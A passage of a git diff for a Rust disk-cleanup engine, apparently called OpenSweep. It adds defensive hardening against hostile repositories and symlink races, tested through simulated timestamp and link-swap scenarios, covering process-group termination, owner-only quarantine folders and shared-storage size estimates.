Ok(None), + // The repository chooses this number: a time past what SystemTime + // holds is an error, not a panic that would end the whole scan. secs => secs .parse() - .map(|s| Some(UNIX_EPOCH + Duration::from_secs(s))) - .map_err(|_| ()), + .ok() + .and_then(|s| UNIX_EPOCH.checked_add(Duration::from_secs(s))) + .map(Some) + .ok_or(()), } } diff --git a/engine/crates/opensweep-core/src/activity_tests.rs b/engine/crates/opensweep-core/src/activity_tests.rs index c593f27..dba142a 100644 --- a/engine/crates/opensweep-core/src/activity_tests.rs +++ b/engine/crates/opensweep-core/src/activity_tests.rs @@ -206,6 +206,51 @@ fn the_last_commit_touching_the_project_counts() { ); } +/// A hostile commit time beyond what SystemTime holds must not panic: one +/// cloned repository would otherwise end a whole scan. +#[test] +fn a_commit_time_out_of_range_does_not_crash() { + use std::io::Write; + let (_tmp, root) = project(); + git(&root, &["init", "-q"], 0); + git(&root, &["add", "."], 0); + git(&root, &["commit", "-qm", "one"], 0); + let tree = Command::new("git") + .args(["rev-parse", "HEAD^{tree}"]) + .current_dir(&root) + .output() + .unwrap(); + let body = format!( + "tree {}author a 10000000000000000000 +0000\ncommitter a 10000000000000000000 +0000\n\nm\n", + String::from_utf8_lossy(&tree.stdout) + ); + let mut child = Command::new("git") + .args([ + "hash-object", + "-t", + "commit", + "--literally", + "-w", + "--stdin", + ]) + .current_dir(&root) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .spawn() + .unwrap(); + child + .stdin + .take() + .unwrap() + .write_all(body.as_bytes()) + .unwrap(); + let id = child.wait_with_output().unwrap(); + let id = String::from_utf8_lossy(&id.stdout).trim().to_owned(); + git(&root, &["update-ref", "HEAD", &id], 0); + let a = run(&root, Some(&quiet())); + assert_ne!(a.verdict(), Verdict::Dormant, "{}", a.reason()); +} + #[test] fn a_broken_repository_is_never_dormant() { let (_tmp, root) = project(); diff --git a/engine/crates/opensweep-core/src/caches.rs b/engine/crates/opensweep-core/src/caches.rs index 382b3f7..711347b 100644 --- a/engine/crates/opensweep-core/src/caches.rs +++ b/engine/crates/opensweep-core/src/caches.rs @@ -43,9 +43,7 @@ impl Env { .filter(|p| p.is_absolute()) }; let home = var("HOME")?; - let mut path: Vec = std::env::var_os("PATH") - .map(|p| std::env::split_paths(&p).collect()) - .unwrap_or_default(); + let mut path = crate::guard::absolute_dirs(std::env::var_os("PATH").as_deref()); // An app started from Finder gets a bare PATH; add the usual places. // ponytail: nvm's npm is not found from Finder; add ~/.nvm/alias/default if asked. for extra in ["/opt/homebrew/bin", "/usr/local/bin", "/usr/local/go/bin"] { @@ -504,6 +502,17 @@ pub fn list(env: &Env) -> Vec { .collect() } +/// Kills the process group `pid` leads. `/bin/kill` keeps the engine free +/// of `unsafe`. +fn stop_group(pid: u32) { + let _ = Command::new("/bin/kill") + .args(["-KILL", "--", &format!("-{pid}")]) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status(); +} + /// The first executable regular file named `name` in `dirs`. pub fn which(name: &str, dirs: &[PathBuf]) -> Option { dirs.iter().map(|d| d.join(name)).find(|p| executable(p)) @@ -550,28 +559,36 @@ pub fn run(found: &Found, env: &Env, limit: Duration) -> Result { // Tool scripts need the basics even when the engine got a bare PATH. path.extend(["/usr/bin", "/bin", "/usr/sbin", "/sbin"].map(PathBuf::from)); let path = std::env::join_paths(path).map_err(|e| e.to_string())?; - let mut child = Command::new(program) + let mut child = Command::new(program); + child .args(&found.cache.command[1..]) .current_dir(&env.home) .env("PATH", path) .stdin(Stdio::null()) .stdout(Stdio::null()) - .stderr(Stdio::piped()) + .stderr(Stdio::piped()); + // Its own process group, so helpers it starts (npm runs node) can be + // stopped with it. + #[cfg(unix)] + std::os::unix::process::CommandExt::process_group(&mut child, 0); + let mut child = child .spawn() .map_err(|e| format!("cannot run {}: {e}", program.display()))?; let mut err = child.stderr.take(); - let reader = std::thread::spawn(move || { + let (send, recv) = std::sync::mpsc::channel(); + std::thread::spawn(move || { let mut s = String::new(); if let Some(e) = err.as_mut() { let _ = e.read_to_string(&mut s); } - s + let _ = send.send(s); }); let start = Instant::now(); let status = loop { match child.try_wait() { Ok(Some(s)) => break s.code(), Ok(None) if start.elapsed() > limit => { + stop_group(child.id()); let _ = child.kill(); let _ = child.wait(); break None; @@ -580,7 +597,10 @@ pub fn run(found: &Found, env: &Env, limit: Duration) -> Result { Err(e) => return Err(e.to_string()), } }; - let stderr = reader.join().unwrap_or_default(); + // A helper that escaped the group could still hold stderr open. + let stderr = recv + .recv_timeout(Duration::from_secs(2)) + .unwrap_or_default(); let tail: String = stderr .lines() .rev() diff --git a/engine/crates/opensweep-core/src/caches_tests.rs b/engine/crates/opensweep-core/src/caches_tests.rs index ab3aec5..af7efdd 100644 --- a/engine/crates/opensweep-core/src/caches_tests.rs +++ b/engine/crates/opensweep-core/src/caches_tests.rs @@ -143,6 +143,37 @@ fn a_failing_or_hanging_tool_is_reported() { assert_eq!(ran.status, None, "stopped at the time limit"); } +/// A tool that started helpers (npm runs node) is stopped with them; a +/// helper still holding stderr must not keep the engine waiting. +#[test] +fn a_hanging_tool_is_stopped_with_its_helpers() { + let tmp = tempfile::tempdir().unwrap(); + let home = fs::canonicalize(tmp.path()).unwrap(); + fs::create_dir_all(home.join("Library/Caches/deno")).unwrap(); + tool(&home, "deno", "sleep 60 & echo $! > helper; wait; true"); + let e = env(&home, true); + let deno = caches::list(&e) + .into_iter() + .find(|f| f.cache.id == "deno") + .unwrap(); + let start = std::time::Instant::now(); + let ran = caches::run(&deno, &e, Duration::from_secs(3)).unwrap(); + assert_eq!(ran.status, None); + assert!( + start.elapsed() < Duration::from_secs(20), + "{:?}", + start.elapsed() + ); + let pid = fs::read_to_string(home.join("helper")).unwrap(); + std::thread::sleep(Duration::from_millis(200)); + let alive = std::process::Command::new("/bin/kill") + .args(["-0", pid.trim()]) + .status() + .unwrap() + .success(); + assert!(!alive, "the helper was left running"); +} + #[test] fn a_cache_without_a_command_cannot_be_run() { let tmp = tempfile::tempdir().unwrap(); diff --git a/engine/crates/opensweep-core/src/discover.rs b/engine/crates/opensweep-core/src/discover.rs index 4740492..80b5e53 100644 --- a/engine/crates/opensweep-core/src/discover.rs +++ b/engine/crates/opensweep-core/src/discover.rs @@ -102,9 +102,24 @@ impl Options { } } +impl Skip { + /// EPERM is what macOS privacy protection returns; ordinary permissions + /// give EACCES. + pub fn from_error(e: &std::io::Error) -> Self { + if e.raw_os_error() == Some(1) { + Skip::Protected(e.to_string()) + } else { + Skip::Unreadable(e.to_string()) + } + } +} + #[derive(Debug, Clone, PartialEq, Eq)] pub enum Skip { Unreadable(String), + /// Refused by macOS privacy protection (EPERM): Full Disk Access would + /// let OpenSweep read it. + Protected(String), OtherVolume, DepthLimit, EntryLimit, @@ -149,7 +164,7 @@ pub fn discover(rules: &[RuleFile], opts: &Options, mut on: impl FnMut(Event)) { match std::fs::canonicalize(root).and_then(|r| std::fs::metadata(&r).map(|m| (r, m))) { Ok(found) => found, Err(e) => { - let reason = Skip::Unreadable(e.to_string()); + let reason = Skip::from_error(&e); on(Event::Skipped { path: root.clone(), reason, @@ -177,7 +192,7 @@ pub fn discover(rules: &[RuleFile], opts: &Options, mut on: impl FnMut(Event)) { let mut children = match std::fs::read_dir(&dir) { Ok(read) => read.filter_map(Result::ok).collect::>(), Err(e) => { - let reason = Skip::Unreadable(e.to_string()); + let reason = Skip::from_error(&e); on(Event::Skipped { path: dir, reason }); continue; } @@ -228,7 +243,7 @@ pub fn discover(rules: &[RuleFile], opts: &Options, mut on: impl FnMut(Event)) { let meta = match entry.metadata() { Ok(m) => m, Err(e) => { - let reason = Skip::Unreadable(e.to_string()); + let reason = Skip::from_error(&e); on(Event::Skipped { path, reason }); continue; } diff --git a/engine/crates/opensweep-core/src/discover_tests.rs b/engine/crates/opensweep-core/src/discover_tests.rs index a14bcc8..604878e 100644 --- a/engine/crates/opensweep-core/src/discover_tests.rs +++ b/engine/crates/opensweep-core/src/discover_tests.rs @@ -266,6 +266,15 @@ fn unreadable_folders_are_reported() { } } +/// The app's Full Disk Access banner counts these; EACCES is not one. +#[test] +fn a_privacy_refusal_is_told_apart() { + let eperm = std::io::Error::from_raw_os_error(1); + let eacces = std::io::Error::from_raw_os_error(13); + assert!(matches!(Skip::from_error(&eperm), Skip::Protected(_))); + assert!(matches!(Skip::from_error(&eacces), Skip::Unreadable(_))); +} + #[test] fn missing_roots_and_files_are_reported() { let (_tmp, base) = base(); diff --git a/engine/crates/opensweep-core/src/guard.rs b/engine/crates/opensweep-core/src/guard.rs index 1df46c2..665d5e0 100644 --- a/engine/crates/opensweep-core/src/guard.rs +++ b/engine/crates/opensweep-core/src/guard.rs @@ -141,6 +141,130 @@ impl Approved { } } +/// Why [`Approved::move_into`] did not move. +#[derive(Debug)] +pub(crate) enum MoveFailed { + /// The entry under the parent's handle is not the approved directory. + Changed, + Io(std::io::Error), +} + +impl Approved { + /// Moves the directory to `dest_dir/name`. Call [`Approved::reverify`] + /// first. The parent is opened once; the entry under that handle must + /// still be the approved directory (device and inode), and the rename + /// goes from the same handle, so a folder on the way swapped for a link + /// after `reverify` cannot redirect it. Never replaces anything. + #[cfg(unix)] + pub(crate) fn move_into(&self, dest_dir: &Path, name: &OsStr) -> Result<(), MoveFailed> { + use rustix::fs::{statat, AtFlags, FileType}; + let (Some(parent), Some(own)) = (self.path.parent(), self.path.file_name()) else { + return Err(MoveFailed::Changed); + }; + let from = open_dir(parent).map_err(|_| MoveFailed::Changed)?; + let st = statat(&from, own, AtFlags::SYMLINK_NOFOLLOW).map_err(|_| MoveFailed::Changed)?; + // Same conversions as std's `MetadataExt`, which made `self.id`. + #[allow(clippy::unnecessary_cast, clippy::cast_sign_loss)] + let id = (st.st_dev as u64, st.st_ino as u64); + if FileType::from_raw_mode(st.st_mode) != FileType::Directory + || id != (self.id.dev, self.id.ino) + { + return Err(MoveFailed::Changed); + } + let to = open_dir(dest_dir).map_err(MoveFailed::Io)?; + rename_excl(&from, own, &to, name).map_err(MoveFailed::Io) + } + + #[cfg(not(unix))] + pub(crate) fn move_into(&self, dest_dir: &Path, name: &OsStr) -> Result<(), MoveFailed> { + let dest = dest_dir.join(name); + if fs::symlink_metadata(&dest).is_ok() { + return Err(MoveFailed::Io(std::io::ErrorKind::AlreadyExists.into())); + } + fs::rename(&self.path, dest).map_err(MoveFailed::Io) + } +} + +/// Renames `from_dir/from` to `to_dir/to` through open handles, never +/// replacing anything there (an empty folder included). `to_dir` must be +/// a real path: if the handle opened is a different folder, because one on +/// the way is now a link, nothing moves. +#[cfg(unix)] +pub(crate) fn rename_into( + from_dir: &Path, + from: &OsStr, + to_dir: &Path, + to: &OsStr, +) -> std::io::Result<()> { + let src = open_dir(from_dir)?; + let dst = open_dir(to_dir)?; + if real_path(&dst)?.as_deref() != Some(to_dir) { + return Err(std::io::Error::other( + "the folder it came from is now a link or has moved", + )); + } + rename_excl(&src, from, &dst, to) +} + +#[cfg(not(unix))] +pub(crate) fn rename_into( + from_dir: &Path, + from: &OsStr, + to_dir: &Path, + to: &OsStr, +) -> std::io::Result<()> { + let dest = to_dir.join(to); + if fs::symlink_metadata(&dest).is_ok() { + return Err(std::io::ErrorKind::AlreadyExists.into()); + } + fs::rename(from_dir.join(from), dest) +} + +/// Opens a directory; a link as its last component is refused. +#[cfg(unix)] +fn open_dir(p: &Path) -> std::io::Result { + use rustix::fs::{Mode, OFlags}; + let flags = OFlags::RDONLY | OFlags::DIRECTORY | OFlags::NOFOLLOW | OFlags::CLOEXEC; + Ok(rustix::fs::open(p, flags, Mode::empty())?) +} + +/// The path the kernel holds for an open folder. +#[cfg(any(target_os = "macos", target_os = "ios"))] +fn real_path(fd: &rustix::fd::OwnedFd) -> std::io::Result> { + use std::os::unix::ffi::OsStrExt; + let c = rustix::fs::getpath(fd)?; + Ok(Some(PathBuf::from(OsStr::from_bytes(c.as_bytes())))) +} + +#[cfg(all(unix, not(any(target_os = "macos", target_os = "ios"))))] +fn real_path(fd: &rustix::fd::OwnedFd) -> std::io::Result> { + use rustix::fd::AsRawFd; + fs::read_link(format!("/proc/self/fd/{}", fd.as_raw_fd())).map(Some) +} + +/// `renameat` that fails if the destination exists. A Linux file system +/// without RENAME_NOREPLACE falls back to a check and a plain rename. +#[cfg(unix)] +fn rename_excl( + src: &rustix::fd::OwnedFd, + from: &OsStr, + dst: &rustix::fd::OwnedFd, + to: &OsStr, +) -> std::io::Result<()> { + use rustix::fs::{renameat, renameat_with, statat, AtFlags, RenameFlags}; + use rustix::io::Errno; + match renameat_with(src, from, dst, to, RenameFlags::NOREPLACE) { + Err(Errno::INVAL | Errno::NOSYS | Errno::NOTSUP) => { + // ponytail: check-then-rename on file systems without NOREPLACE. + if statat(dst, to, AtFlags::SYMLINK_NOFOLLOW).is_ok() { + return Err(std::io::ErrorKind::AlreadyExists.into()); + } + Ok(renameat(src, from, dst, to)?) + } + other => Ok(other?), + } +} + /// Smallest number of components a project root may have (`/a/b`). const MIN_ROOT_DEPTH: usize = 2; @@ -180,10 +304,16 @@ impl Guard { if activity.pinned() { return Err(Refusal::Pinned); } + // A kept folder protects everything around it: the folder itself, + // anything inside it, and any artifact that contains it. Case is + // ignored, as macOS ignores it; refusing more on Linux is safe. + let folded = |p: &Path| PathBuf::from(p.to_string_lossy().to_lowercase()); + let rel = folded(candidate.rel()); if activity .kept() .iter() - .any(|k| candidate.rel().starts_with(k)) + .map(|k| folded(k)) + .any(|k| rel.starts_with(&k) || k.starts_with(&rel)) { return Err(Refusal::KeptByRepository); } @@ -370,8 +500,29 @@ fn too_shallow(root: &Path) -> bool { /// git in `root`, with every setting that could run a program supplied by /// the (untrusted) repository switched off. Callers add the subcommand. +/// The folders of a PATH value that are absolute. An empty or relative +/// entry means "the current folder", which inside a scanned repository would +/// find the repository's own `git` or `npm`. +pub(crate) fn absolute_dirs(path: Option<&std::ffi::OsStr>) -> Vec { + path.map(|p| { + std::env::split_paths(p) + .filter(|d| d.is_absolute()) + .collect() + }) + .unwrap_or_default() +} + +/// git, found through absolute PATH folders only. +fn git_program(path: Option<&std::ffi::OsStr>) -> PathBuf { + absolute_dirs(path) + .into_iter() + .map(|d| d.join("git")) + .find(|g| g.is_file()) + .unwrap_or_else(|| PathBuf::from("/usr/bin/git")) +} + pub(crate) fn hardened_git(root: &Path) -> Command { - let mut git = Command::new("git"); + let mut git = Command::new(git_program(std::env::var_os("PATH").as_deref())); git.args([ "-c", "core.fsmonitor=false", @@ -447,3 +598,23 @@ mod tests { assert!(!too_shallow(Path::new("/Users/dev/proj"))); } } + +#[cfg(test)] +#[allow(clippy::unwrap_used)] +mod path_tests { + use super::{absolute_dirs, git_program}; + use std::ffi::OsStr; + + /// A repository's own `git` is never found through `.` or an empty entry. + #[cfg(unix)] + #[test] + fn relative_path_entries_are_ignored() { + let dirs = absolute_dirs(Some(OsStr::new(".::bin:/usr/bin"))); + assert_eq!(dirs, vec![std::path::PathBuf::from("/usr/bin")]); + + assert_eq!( + git_program(Some(OsStr::new(".:"))), + std::path::PathBuf::from("/usr/bin/git") + ); + } +} diff --git a/engine/crates/opensweep-core/src/guard_tests.rs b/engine/crates/opensweep-core/src/guard_tests.rs index cac1930..3693cb5 100644 --- a/engine/crates/opensweep-core/src/guard_tests.rs +++ b/engine/crates/opensweep-core/src/guard_tests.rs @@ -5,6 +5,7 @@ //! checks can be attacked directly. #![allow(clippy::unwrap_used, clippy::expect_used, clippy::panic)] +use std::ffi::OsStr; use std::fs; use std::path::{Path, PathBuf}; use std::process::Command; @@ -225,6 +226,56 @@ fn reverify_catches_a_swap_after_approval() { assert_eq!(approved.reverify(), Err(Refusal::ChangedSinceApproval)); } +/// I12: a folder on the way swapped for a link after `reverify` cannot +/// redirect the move: the entry is checked again through an open handle on +/// its parent and moved from that same handle. +#[cfg(unix)] +#[test] +fn a_swap_after_reverify_cannot_redirect_the_move() { + use std::os::unix::fs::symlink; + let f = fixture(); + let dest = f.base.join("q"); + fs::create_dir(&dest).unwrap(); + let approved = f.check("node_modules").unwrap(); + approved.reverify().unwrap(); + // The race: `work` becomes a link to a look-alike holding other files. + fs::create_dir_all(f.base.join("decoy/proj/node_modules")).unwrap(); + fs::write(f.base.join("decoy/proj/node_modules/keep"), "x").unwrap(); + fs::rename(f.base.join("work"), f.base.join("work-real")).unwrap(); + symlink(f.base.join("decoy"), f.base.join("work")).unwrap(); + assert!(approved.move_into(&dest, OsStr::new("0000")).is_err()); + assert!(f.base.join("decoy/proj/node_modules/keep").exists()); + assert!(!dest.join("0000").exists()); + // Put back, the same token moves the real folder. + fs::remove_file(f.base.join("work")).unwrap(); + fs::rename(f.base.join("work-real"), f.base.join("work")).unwrap(); + approved.move_into(&dest, OsStr::new("0000")).unwrap(); + assert!(dest.join("0000/pkg").is_dir() && !f.root.join("node_modules").exists()); +} + +/// I15: a restore never replaces what appeared at the destination, not even +/// an empty folder, and never goes through a folder that became a link. +#[cfg(unix)] +#[test] +fn a_restore_rename_never_replaces_or_follows() { + use crate::guard::rename_into; + use std::os::unix::fs::symlink; + let f = fixture(); + let q = f.base.join("q"); + fs::create_dir_all(q.join("0000/pkg")).unwrap(); + fs::create_dir(f.root.join("empty")).unwrap(); + assert!(rename_into(&q, OsStr::new("0000"), &f.root, OsStr::new("empty")).is_err()); + assert!(q.join("0000/pkg").is_dir()); + fs::rename(f.base.join("work"), f.base.join("elsewhere")).unwrap(); + symlink(f.base.join("elsewhere"), f.base.join("work")).unwrap(); + assert!(rename_into(&q, OsStr::new("0000"), &f.root, OsStr::new("back")).is_err()); + assert!(!f.base.join("elsewhere/proj/back").exists()); + fs::remove_file(f.base.join("work")).unwrap(); + fs::rename(f.base.join("elsewhere"), f.base.join("work")).unwrap(); + rename_into(&q, OsStr::new("0000"), &f.root, OsStr::new("back")).unwrap(); + assert!(f.root.join("back/pkg").is_dir()); +} + #[test] fn refuses_directories_with_tracked_files() { let f = fixture(); @@ -396,4 +447,12 @@ fn folders_kept_by_the_repository_are_refused() { f.guard.check(&a, &Candidate::unchecked("target/debug")), Err(Refusal::KeptByRepository) ); + + // A kept folder inside an artifact keeps the artifact too, whatever the case. + let inner = Activity::unchecked(&f.root, Verdict::Dormant, false) + .keeping(vec![PathBuf::from("Target/release-signed")]); + assert_eq!( + f.guard.check(&inner, &Candidate::unchecked("target")), + Err(Refusal::KeptByRepository) + ); } diff --git a/engine/crates/opensweep-core/src/quarantine.rs b/engine/crates/opensweep-core/src/quarantine.rs index 6150393..5c87c38 100644 --- a/engine/crates/opensweep-core/src/quarantine.rs +++ b/engine/crates/opensweep-core/src/quarantine.rs @@ -21,6 +21,7 @@ //! owner, the owner of the main store, can change (invariant I19). use std::collections::HashMap; +use std::ffi::OsStr; use std::fs; use std::io::Write; use std::path::{Component, Path, PathBuf}; @@ -28,7 +29,7 @@ use std::time::{SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Serialize}; -use crate::guard::Approved; +use crate::guard::{rename_into, Approved, MoveFailed, Refusal}; use crate::rules::Class; use crate::size; use crate::volumes::{self, Mount}; @@ -170,16 +171,24 @@ pub struct Store { } impl Store { - /// Opens the store at `root`, creating it if needed. The store itself may - /// not be a symbolic link. + /// Opens the store at `root`, creating it owner-only if needed. The store + /// and its `runs` folder must be real folders (not links) owned by the + /// owner of the home folder, and no one else may change them (I19): a + /// store planted by another user could steer restore and purge. pub fn open(root: &Path) -> Result { let fail = |m: String| Error::Store(root.to_path_buf(), m); - fs::create_dir_all(root.join("runs")).map_err(|e| fail(e.to_string()))?; - let meta = fs::symlink_metadata(root).map_err(|e| fail(e.to_string()))?; - // `symlink_metadata` never reports a link as a directory. - if !meta.is_dir() { - return Err(fail("must be a real directory".to_owned())); + if let Some(parent) = root.parent() { + fs::create_dir_all(parent).map_err(|e| fail(e.to_string()))?; } + let owner = std::env::var_os("HOME") + .map(PathBuf::from) + .and_then(|h| owner_of(&h).ok()); + let owner = match owner { + Some(o) => o, + None => owner_of(root.parent().unwrap_or(root)).map_err(fail)?, + }; + private_dir(root, owner, true).map_err(fail)?; + private_dir(&root.join("runs"), owner, true).map_err(fail)?; let root = fs::canonicalize(root).map_err(|e| fail(e.to_string()))?; Ok(Self { root }) } @@ -197,7 +206,10 @@ impl Store { return Err(Error::UnknownRun(run_id.to_owned())); } let dir = self.runs_dir().join(run_id); - if !dir.join(MANIFEST).is_file() { + // Never through a link: a linked run would point restore and purge + // somewhere else. + let real_file = fs::symlink_metadata(dir.join(MANIFEST)).is_ok_and(|m| m.is_file()); + if !real_file || fs::symlink_metadata(&dir).map_or(true, |m| !m.is_dir()) { return Err(Error::UnknownRun(run_id.to_owned())); } Ok(dir) @@ -216,7 +228,7 @@ impl Store { let (run_id, run_dir) = self.new_run_dir()?; let items = run_dir.join("items"); let io = |e: std::io::Error| Error::Io(run_id.clone(), e.to_string()); - fs::create_dir(&items).map_err(io)?; + owner_only().create(&items).map_err(io)?; let mut manifest = Manifest { format: FORMAT, @@ -268,9 +280,13 @@ impl Store { Ok(items) => match approved.reverify() { Err(why) => Err((State::Skipped, why.to_string())), Ok(()) => { - let dest = items.join(&manifest.entries[i].stored); - fs::rename(approved.path(), &dest) - .map_err(|e| (State::Failed, e.to_string())) + let name = OsStr::new(&manifest.entries[i].stored); + approved.move_into(&items, name).map_err(|e| match e { + MoveFailed::Changed => { + (State::Skipped, Refusal::ChangedSinceApproval.to_string()) + } + MoveFailed::Io(e) => (State::Failed, e.to_string()), + }) } }, }; @@ -361,7 +377,13 @@ impl Store { // now means a folder on the way was replaced, e.g. by a link. Err("the folder it came from is now a link or has moved".to_owned()) } else { - fs::rename(&src, &dest).map_err(|e| e.to_string()) + match (src.parent(), dest.parent(), dest.file_name()) { + (Some(from), Some(to), Some(name)) => { + rename_into(from, OsStr::new(&entry.stored), to, name) + .map_err(|e| e.to_string()) + } + _ => Err("the folder it came from no longer exists".to_owned()), + } }; match outcome { Ok(()) => { @@ -445,7 +467,7 @@ impl Store { format!("{base}-{n}") }; let dir = self.runs_dir().join(&id); - match fs::create_dir(&dir) { + match owner_only().create(&dir) { Ok(()) => return Ok((id, dir)), Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => continue, Err(e) => return Err(Error::Store(self.root.clone(), e.to_string())), @@ -564,16 +586,21 @@ fn drive_run( Ok((store, items)) } -/// Creates `dir` owner-only (it must be new unless `existing_ok`), then -/// checks it is trusted. -fn private_dir(dir: &Path, owner: u32, existing_ok: bool) -> Result<(), String> { +/// A folder builder that creates owner-only folders (0700). +fn owner_only() -> fs::DirBuilder { let mut builder = fs::DirBuilder::new(); #[cfg(unix)] { use std::os::unix::fs::DirBuilderExt; builder.mode(0o700); } - match builder.create(dir) { + builder +} + +/// Creates `dir` owner-only (it must be new unless `existing_ok`), then +/// checks it is trusted. +fn private_dir(dir: &Path, owner: u32, existing_ok: bool) -> Result<(), String> { + match owner_only().create(dir) { Ok(()) => {} Err(e) if existing_ok && e.kind() == std::io::ErrorKind::AlreadyExists => {} Err(e) => return Err(format!("{}: {e}", dir.display())), @@ -635,7 +662,10 @@ fn items_of( mounts: Option<&[Mount]>, ) -> Result { let Some(store) = &entry.volume else { - return Ok(run_dir.join("items")); + let items = run_dir.join("items"); + trusted(run_dir, owner)?; + trusted(&items, owner)?; + return Ok(items); }; if fs::symlink_metadata(store).is_err() { return Err(format!("its drive is not connected ({})", store.display())); @@ -687,7 +717,8 @@ fn device_of(path: &Path) -> std::io::Result { Ok(dev) } -fn now_unix() -> u64 { +/// Seconds since 1970, or 0 if the clock is before it. +pub fn now_unix() -> u64 { SystemTime::now() .duration_since(UNIX_EPOCH) .map(|d| d.as_secs()) @@ -708,7 +739,7 @@ pub fn utc_stamp(secs: u64) -> String { /// Days since 1970-01-01 to a proleptic Gregorian date (Howard Hinnant's /// `civil_from_days`), for dates from 1970 on, so no negative era. -fn civil_from_days(days: u64) -> (u64, u32, u32) { +pub fn civil_from_days(days: u64) -> (u64, u32, u32) { let z = days + 719_468; let era = z / 146_097; let doe = z - era * 146_097; diff --git a/engine/crates/opensweep-core/src/quarantine_tests.rs b/engine/crates/opensweep-core/src/quarantine_tests.rs index 2599cfa..0f27e9f 100644 --- a/engine/crates/opensweep-core/src/quarantine_tests.rs +++ b/engine/crates/opensweep-core/src/quarantine_tests.rs @@ -629,3 +629,41 @@ fn the_agentclean_folder_is_adopted_once_and_never_merged() { assert!(!linked.join("opensweep").exists()); assert!(old.join("Quarantine").is_dir()); } + +/// I19 for the main store: one others can change is refused, and new +/// store folders are owner-only. +#[cfg(unix)] +#[test] +fn a_store_others_can_change_is_refused() { + use std::os::unix::fs::PermissionsExt; + let f = fixture(); + let mode = |p: &Path| fs::metadata(p).unwrap().permissions().mode() & 0o777; + assert_eq!(mode(f.store.root()), 0o700); + let run = f.store.clean(vec![f.approve("target")]).unwrap(); + assert_eq!(mode(&f.items(&run)), 0o700); + + let open = f.base.join("shared-store"); + fs::create_dir_all(open.join("runs")).unwrap(); + fs::set_permissions(&open, fs::Permissions::from_mode(0o777)).unwrap(); + assert!(matches!(Store::open(&open), Err(Error::Store(..)))); +} + +/// A run's items folder swapped for a link is never followed by purge or +/// restore: purge would delete in the folder it points to. +#[cfg(unix)] +#[test] +fn a_linked_items_folder_is_not_followed() { + let f = fixture(); + let run = f.store.clean(vec![f.approve("node_modules")]).unwrap(); + let items = f.items(&run); + let elsewhere = f.base.join("elsewhere"); + fs::rename(&items, &elsewhere).unwrap(); + std::os::unix::fs::symlink(&elsewhere, &items).unwrap(); + + let purged = f.store.purge(&run.run_id).unwrap(); + assert_eq!(purged.entries[0].state, State::Moved); + assert!(elsewhere.join("0000").is_dir(), "purge followed the link"); + let restored = f.store.restore(&run.run_id, None).unwrap(); + assert_eq!(restored.entries[0].state, State::Moved); + assert!(!f.root.join("node_modules").exists()); +} diff --git a/engine/crates/opensweep-core/src/size.rs b/engine/crates/opensweep-core/src/size.rs index 2b5da9f..6a2d909 100644 --- a/engine/crates/opensweep-core/src/size.rs +++ b/engine/crates/opensweep-core/src/size.rs @@ -4,8 +4,13 @@ //! user sees. Hard-linked files are counted once, symbolic links are counted //! as links and never followed, and the walk does not cross onto another //! volume. Anything unreadable is counted in `unreadable` rather than guessed. +//! +//! Space a tree shares with files outside it cannot be freed by removing the +//! tree. Hard links are seen directly. APFS clones are not visible without +//! private file system calls, so the package managers known to clone or link +//! from a global store (pnpm, Bun) mark their `node_modules` as `shared`. -use std::collections::HashSet; +use std::collections::HashMap; use std::fs; use std::path::{Path, PathBuf}; @@ -17,6 +22,10 @@ pub struct Usage { pub entries: u64, /// Entries that could not be read; `bytes` is a lower bound when non-zero. pub unreadable: u64, + /// Some of `bytes` may also belong to files outside the tree (a hard link + /// to elsewhere, or a pnpm or Bun install that clones from a store), so + /// removing the tree can free less. `bytes` is then an upper estimate. + pub shared: bool, } #[cfg(unix)] @@ -31,14 +40,26 @@ fn allocated(meta: &fs::Metadata) -> u64 { } #[cfg(unix)] -fn identity(meta: &fs::Metadata) -> (u64, u64, bool) { +fn identity(meta: &fs::Metadata) -> (u64, u64, u64) { use std::os::unix::fs::MetadataExt; - (meta.dev(), meta.ino(), meta.nlink() > 1) + (meta.dev(), meta.ino(), meta.nlink()) } #[cfg(not(unix))] -fn identity(_meta: &fs::Metadata) -> (u64, u64, bool) { - (0, 0, false) +fn identity(_meta: &fs::Metadata) -> (u64, u64, u64) { + (0, 0, 1) +} + +/// A `node_modules` that pnpm or Bun installed: their files are clones or +/// hard links of a global store, so removing it frees little. +fn from_store(root: &Path) -> bool { + root.file_name().is_some_and(|n| n == "node_modules") + && (root.join(".pnpm").is_dir() + || root.parent().is_some_and(|p| { + ["bun.lock", "bun.lockb", "pnpm-lock.yaml"] + .iter() + .any(|f| p.join(f).is_file()) + })) } /// Measures `root`. Never follows a symbolic link, including `root` itself. @@ -49,12 +70,19 @@ pub fn usage(root: &Path) -> Usage { return usage; }; let (root_dev, _, _) = identity(&root_meta); - let mut linked: HashSet<(u64, u64)> = HashSet::new(); + usage.shared = root_meta.is_dir() && from_store(root); + // Hard-linked files: links not yet seen inside the tree. + let mut linked: HashMap<(u64, u64), u64> = HashMap::new(); let mut stack: Vec<(PathBuf, fs::Metadata)> = vec![(root.to_path_buf(), root_meta)]; while let Some((path, meta)) = stack.pop() { - let (dev, ino, shared) = identity(&meta); - if !shared || linked.insert((dev, ino)) { + let (dev, ino, links) = identity(&meta); + if links <= 1 || meta.is_dir() { + usage.bytes = usage.bytes.saturating_add(allocated(&meta)); + } else if let Some(rest) = linked.get_mut(&(dev, ino)) { + *rest = rest.saturating_sub(1); + } else { + linked.insert((dev, ino), links - 1); usage.bytes = usage.bytes.saturating_add(allocated(&meta)); } usage.entries += 1; @@ -75,6 +103,7 @@ pub fn usage(root: &Path) -> Usage { } } } + usage.shared |= linked.values().any(|&rest| rest > 0); usage } @@ -105,6 +134,7 @@ mod tests { fs::hard_link(&big, tmp.path().join("big2")).unwrap(); assert_eq!(usage(tmp.path()).bytes, one); + assert!(!usage(tmp.path()).shared, "both links are inside"); let outside = tempfile::tempdir().unwrap(); fs::write(outside.path().join("huge"), vec![1u8; 400_000]).unwrap(); @@ -120,8 +150,36 @@ mod tests { super::Usage { bytes: 0, entries: 0, - unreadable: 1 + unreadable: 1, + shared: false } ); } + + #[cfg(unix)] + #[test] + fn a_link_to_a_file_outside_is_shared() { + let tmp = tempfile::tempdir().unwrap(); + let store = tmp.path().join("store"); + let tree = tmp.path().join("tree"); + fs::create_dir_all(&store).unwrap(); + fs::create_dir_all(&tree).unwrap(); + fs::write(store.join("f"), vec![1u8; 50_000]).unwrap(); + assert!(!usage(&tree).shared); + 